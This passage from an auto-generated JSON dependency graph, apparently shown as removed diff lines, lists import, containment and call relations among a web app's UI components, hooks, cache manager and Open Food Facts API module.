- "weight": 1.0,
- "source": "components_ui_button_tsx",
- "target": "ui_button_buttonprops",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/button.tsx",
- "source_location": "L43",
- "weight": 1.0,
- "source": "components_ui_button_tsx",
- "target": "ui_button_button",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/IdInput.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "components_ui_input_tsx",
- "target": "ui_button_button",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/card.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "components_ui_card_tsx",
- "target": "ui_card_card",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/card.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "components_ui_card_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/card.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "components_ui_card_tsx",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/card.tsx",
- "source_location": "L20",
- "weight": 1.0,
- "source": "components_ui_card_tsx",
- "target": "ui_card_cardheader",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/card.tsx",
- "source_location": "L32",
- "weight": 1.0,
- "source": "components_ui_card_tsx",
- "target": "ui_card_cardtitle",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/card.tsx",
- "source_location": "L44",
- "weight": 1.0,
- "source": "components_ui_card_tsx",
- "target": "ui_card_carddescription",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/card.tsx",
- "source_location": "L56",
- "weight": 1.0,
- "source": "components_ui_card_tsx",
- "target": "ui_card_cardcontent",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/card.tsx",
- "source_location": "L64",
- "weight": 1.0,
- "source": "components_ui_card_tsx",
- "target": "ui_card_cardfooter",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/checkbox.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "ui_checkbox_checkbox",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/checkbox.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "ui_checkbox_checkbox",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/dialog.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "components_ui_dialog_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/dialog.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "components_ui_dialog_tsx",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/dialog.tsx",
- "source_location": "L17",
- "weight": 1.0,
- "source": "components_ui_dialog_tsx",
- "target": "ui_dialog_dialogoverlay",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/dialog.tsx",
- "source_location": "L32",
- "weight": 1.0,
- "source": "components_ui_dialog_tsx",
- "target": "ui_dialog_dialogcontent",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/dialog.tsx",
- "source_location": "L56",
- "weight": 1.0,
- "source": "components_ui_dialog_tsx",
- "target": "ui_dialog_dialogheader",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/dialog.tsx",
- "source_location": "L70",
- "weight": 1.0,
- "source": "components_ui_dialog_tsx",
- "target": "ui_dialog_dialogfooter",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/dialog.tsx",
- "source_location": "L84",
- "weight": 1.0,
- "source": "components_ui_dialog_tsx",
- "target": "ui_dialog_dialogtitle",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/dialog.tsx",
- "source_location": "L99",
- "weight": 1.0,
- "source": "components_ui_dialog_tsx",
- "target": "ui_dialog_dialogdescription",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "components/ui/dialog.tsx",
- "source_location": "L61",
- "weight": 1.0,
- "source": "ui_dialog_dialogheader",
- "target": "lib_utils_cn"
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "components/ui/dialog.tsx",
- "source_location": "L75",
- "weight": 1.0,
- "source": "ui_dialog_dialogfooter",
- "target": "lib_utils_cn"
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/dropdown-menu.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "components_ui_dropdown_menu_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/dropdown-menu.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "components_ui_dropdown_menu_tsx",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/dropdown-menu.tsx",
- "source_location": "L21",
- "weight": 1.0,
- "source": "components_ui_dropdown_menu_tsx",
- "target": "ui_dropdown_menu_dropdownmenusubtrigger",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/dropdown-menu.tsx",
- "source_location": "L43",
- "weight": 1.0,
- "source": "components_ui_dropdown_menu_tsx",
- "target": "ui_dropdown_menu_dropdownmenusubcontent",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/dropdown-menu.tsx",
- "source_location": "L59",
- "weight": 1.0,
- "source": "components_ui_dropdown_menu_tsx",
- "target": "ui_dropdown_menu_dropdownmenucontent",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/dropdown-menu.tsx",
- "source_location": "L77",
- "weight": 1.0,
- "source": "components_ui_dropdown_menu_tsx",
- "target": "ui_dropdown_menu_dropdownmenuitem",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/dropdown-menu.tsx",
- "source_location": "L95",
- "weight": 1.0,
- "source": "components_ui_dropdown_menu_tsx",
- "target": "ui_dropdown_menu_dropdownmenulabel",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/dropdown-menu.tsx",
- "source_location": "L113",
- "weight": 1.0,
- "source": "components_ui_dropdown_menu_tsx",
- "target": "ui_dropdown_menu_dropdownmenuseparator",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/input.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "components_ui_input_tsx",
- "target": "ui_input_input",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/input.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "components_ui_input_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/input.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "components_ui_input_tsx",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/label.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "components_ui_label_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/label.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "components_ui_label_tsx",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/label.tsx",
- "source_location": "L9",
- "weight": 1.0,
- "source": "components_ui_label_tsx",
- "target": "ui_label_labelvariants",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/label.tsx",
- "source_location": "L13",
- "weight": 1.0,
- "source": "components_ui_label_tsx",
- "target": "ui_label_label",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/radio-group.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "components_ui_radio_group_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/radio-group.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "components_ui_radio_group_tsx",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/radio-group.tsx",
- "source_location": "L23",
- "weight": 1.0,
- "source": "components_ui_radio_group_tsx",
- "target": "ui_radio_group_radiogroup",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/select.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "components_ui_select_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/select.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "components_ui_select_tsx",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/select.tsx",
- "source_location": "L15",
- "weight": 1.0,
- "source": "components_ui_select_tsx",
- "target": "ui_select_selecttrigger",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/select.tsx",
- "source_location": "L35",
- "weight": 1.0,
- "source": "components_ui_select_tsx",
- "target": "ui_select_selectscrollupbutton",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/select.tsx",
- "source_location": "L52",
- "weight": 1.0,
- "source": "components_ui_select_tsx",
- "target": "ui_select_selectscrolldownbutton",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/select.tsx",
- "source_location": "L70",
- "weight": 1.0,
- "source": "components_ui_select_tsx",
- "target": "ui_select_selectcontent",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/select.tsx",
- "source_location": "L102",
- "weight": 1.0,
- "source": "components_ui_select_tsx",
- "target": "ui_select_selectlabel",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/select.tsx",
- "source_location": "L114",
- "weight": 1.0,
- "source": "components_ui_select_tsx",
- "target": "ui_select_selectitem",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/select.tsx",
- "source_location": "L136",
- "weight": 1.0,
- "source": "components_ui_select_tsx",
- "target": "ui_select_selectseparator",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/separator.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "components_ui_separator_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/separator.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "components_ui_separator_tsx",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/separator.tsx",
- "source_location": "L8",
- "weight": 1.0,
- "source": "components_ui_separator_tsx",
- "target": "ui_separator_separator",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/sheet.tsx",
- "source_location": "L8",
- "weight": 1.0,
- "source": "components_ui_sheet_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/sheet.tsx",
- "source_location": "L8",
- "weight": 1.0,
- "source": "components_ui_sheet_tsx",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/sheet.tsx",
- "source_location": "L18",
- "weight": 1.0,
- "source": "components_ui_sheet_tsx",
- "target": "ui_sheet_sheetoverlay",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/sheet.tsx",
- "source_location": "L33",
- "weight": 1.0,
- "source": "components_ui_sheet_tsx",
- "target": "ui_sheet_sheetvariants",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/sheet.tsx",
- "source_location": "L52",
- "weight": 1.0,
- "source": "components_ui_sheet_tsx",
- "target": "ui_sheet_sheetcontentprops",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/sheet.tsx",
- "source_location": "L56",
- "weight": 1.0,
- "source": "components_ui_sheet_tsx",
- "target": "ui_sheet_sheetcontent",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/sheet.tsx",
- "source_location": "L77",
- "weight": 1.0,
- "source": "components_ui_sheet_tsx",
- "target": "ui_sheet_sheetheader",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/sheet.tsx",
- "source_location": "L91",
- "weight": 1.0,
- "source": "components_ui_sheet_tsx",
- "target": "ui_sheet_sheetfooter",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/sheet.tsx",
- "source_location": "L105",
- "weight": 1.0,
- "source": "components_ui_sheet_tsx",
- "target": "ui_sheet_sheettitle",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/sheet.tsx",
- "source_location": "L117",
- "weight": 1.0,
- "source": "components_ui_sheet_tsx",
- "target": "ui_sheet_sheetdescription",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "components/ui/sheet.tsx",
- "source_location": "L82",
- "weight": 1.0,
- "source": "ui_sheet_sheetheader",
- "target": "lib_utils_cn"
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "components/ui/sheet.tsx",
- "source_location": "L96",
- "weight": 1.0,
- "source": "ui_sheet_sheetfooter",
- "target": "lib_utils_cn"
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/skeleton.tsx",
- "source_location": "L1",
- "weight": 1.0,
- "source": "ui_skeleton_skeleton",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/skeleton.tsx",
- "source_location": "L9",
- "weight": 1.0,
- "confidence_score": 1.0,
- "source": "ui_skeleton_skeleton",
- "target": "lib_utils_cn"
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/slider.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "components_ui_slider_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/slider.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "components_ui_slider_tsx",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/slider.tsx",
- "source_location": "L8",
- "weight": 1.0,
- "source": "components_ui_slider_tsx",
- "target": "ui_slider_slider",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/switch.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "components_ui_switch_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/switch.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "components_ui_switch_tsx",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/switch.tsx",
- "source_location": "L8",
- "weight": 1.0,
- "source": "components_ui_switch_tsx",
- "target": "ui_switch_switch",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "docs/resedesign/extract.js",
- "source_location": "L1",
- "weight": 1.0,
- "source": "docs_resedesign_extract_js",
- "target": "resedesign_extract_fs",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "docs/resedesign/extract.js",
- "source_location": "L2",
- "weight": 1.0,
- "source": "docs_resedesign_extract_js",
- "target": "resedesign_extract_path",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "docs/resedesign/extract.js",
- "source_location": "L3",
- "weight": 1.0,
- "source": "docs_resedesign_extract_js",
- "target": "resedesign_extract_html",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "docs/resedesign/extract.js",
- "source_location": "L6",
- "weight": 1.0,
- "source": "docs_resedesign_extract_js",
- "target": "resedesign_extract_start",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "docs/resedesign/extract.js",
- "source_location": "L7",
- "weight": 1.0,
- "source": "docs_resedesign_extract_js",
- "target": "resedesign_extract_end",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "docs/resedesign/extract.js",
- "source_location": "L8",
- "weight": 1.0,
- "source": "docs_resedesign_extract_js",
- "target": "resedesign_extract_raw",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "docs/resedesign/extract.js",
- "source_location": "L11",
- "weight": 1.0,
- "source": "docs_resedesign_extract_js",
- "target": "resedesign_extract_decoded",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "hooks/use-geolocation.ts",
- "source_location": "L4",
- "weight": 1.0,
- "source": "hooks_use_geolocation_ts",
- "target": "lib_geolocation_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "hooks/use-geolocation.ts",
- "source_location": "L4",
- "weight": 1.0,
- "source": "hooks_use_geolocation_ts",
- "target": "lib_geolocation_detectusercountry",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "hooks/use-geolocation.ts",
- "source_location": "L27",
- "weight": 1.0,
- "source": "hooks_use_geolocation_ts",
- "target": "hooks_use_geolocation_setscannedcountry",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "hooks/use-search-logic.ts",
- "source_location": "L4",
- "weight": 1.0,
- "source": "hooks_use_search_logic_ts",
- "target": "lib_openfoodfactsapi_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "hooks/use-search-logic.ts",
- "source_location": "L4",
- "weight": 1.0,
- "source": "hooks_use_search_logic_ts",
- "target": "lib_openfoodfactsapi_detectsearchtype",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "hooks/use-search-logic.ts",
- "source_location": "L22",
- "weight": 1.0,
- "confidence_score": 1.0,
- "source": "hooks_use_search_logic_ts",
- "target": "lib_openfoodfactsapi_isvalidbarcode"
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "hooks/use-search-logic.ts",
- "source_location": "L7",
- "weight": 1.0,
- "source": "hooks_use_search_logic_ts",
- "target": "hooks_use_search_logic_searchtype",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "hooks/useProductFilters.ts",
- "source_location": "L5",
- "weight": 1.0,
- "source": "hooks_useproductfilters_ts",
- "target": "lib_types_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "hooks/useProductFilters.ts",
- "source_location": "L5",
- "weight": 1.0,
- "source": "hooks_useproductfilters_ts",
- "target": "lib_types_productfilters",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "hooks/useProductFilters.ts",
- "source_location": "L5",
- "weight": 1.0,
- "source": "hooks_useproductfilters_ts",
- "target": "lib_types_filterstate",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "hooks/useProductFilters.ts",
- "source_location": "L7",
- "weight": 1.0,
- "source": "hooks_useproductfilters_ts",
- "target": "hooks_useproductfilters_useproductfiltersoptions",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "hooks/useProductFilters.ts",
- "source_location": "L167",
- "weight": 1.0,
- "source": "hooks_useproductfilters_ts",
- "target": "hooks_useproductfilters_parsefiltersfromurl",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "hooks/useProductFilters.ts",
- "source_location": "L236",
- "weight": 1.0,
- "source": "hooks_useproductfilters_ts",
- "target": "hooks_useproductfilters_loadfiltersfromstorage",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "hooks/useProductFilters.ts",
- "source_location": "L245",
- "weight": 1.0,
- "source": "hooks_useproductfilters_ts",
- "target": "hooks_useproductfilters_savefilterstostorage",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "confidence": "EXTRACTED",
- "source_file": "hooks/useProductFilters.ts",
- "source_location": "L47",
- "weight": 1.0,
- "context": "call",
- "source": "hooks_useproductfilters_ts",
- "target": "lib_utils_debounce",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "hooks/useSearchCache.ts",
- "source_location": "L4",
- "weight": 1.0,
- "source": "hooks_usesearchcache_ts",
- "target": "lib_openfoodfactsapi_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "hooks/useSearchCache.ts",
- "source_location": "L4",
- "weight": 1.0,
- "source": "hooks_usesearchcache_ts",
- "target": "lib_openfoodfactsapi_product",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "hooks/useSearchCache.ts",
- "source_location": "L5",
- "weight": 1.0,
- "source": "hooks_usesearchcache_ts",
- "target": "lib_cachemanager_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "hooks/useSearchCache.ts",
- "source_location": "L5",
- "weight": 1.0,
- "source": "hooks_usesearchcache_ts",
- "target": "lib_cachemanager_cachedsearch",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "hooks/useSearchCache.ts",
- "source_location": "L5",
- "weight": 1.0,
- "source": "hooks_usesearchcache_ts",
- "target": "lib_cachemanager_filterrecord",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "hooks/useSearchCache.ts",
- "source_location": "L7",
- "weight": 1.0,
- "source": "hooks_usesearchcache_ts",
- "target": "hooks_usesearchcache_searchcachestate",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "hooks/useSearchCache.ts",
- "source_location": "L20",
- "weight": 1.0,
- "source": "hooks_usesearchcache_ts",
- "target": "hooks_usesearchcache_usesearchcachereturn",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "hooks/useStorageMonitor.ts",
- "source_location": "L7",
- "weight": 1.0,
- "source": "hooks_usestoragemonitor_ts",
- "target": "lib_types_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "hooks/useStorageMonitor.ts",
- "source_location": "L7",
- "weight": 1.0,
- "source": "hooks_usestoragemonitor_ts",
- "target": "lib_types_storagestats",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "hooks/useStorageMonitor.ts",
- "source_location": "L9",
- "weight": 1.0,
- "source": "hooks_usestoragemonitor_ts",
- "target": "hooks_usestoragemonitor_usestoragemonitorreturn",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L6",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_openfoodfactsapi_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L6",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_openfoodfactsapi_product",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L9",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_cachemanager_filtervalue",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L17",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_cachemanager_filterrecord",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L19",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_cachemanager_cachedsearch",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L29",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_cachemanager_cacheconfig",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L35",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_cachemanager_default_config",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L46",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_cachemanager_cachemanager_constructor",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L53",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_cachemanager_cachemanager_generatecachekey",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L66",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_cachemanager_cachemanager_generatesearchid",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L73",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_geolocation_iscachevalid",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
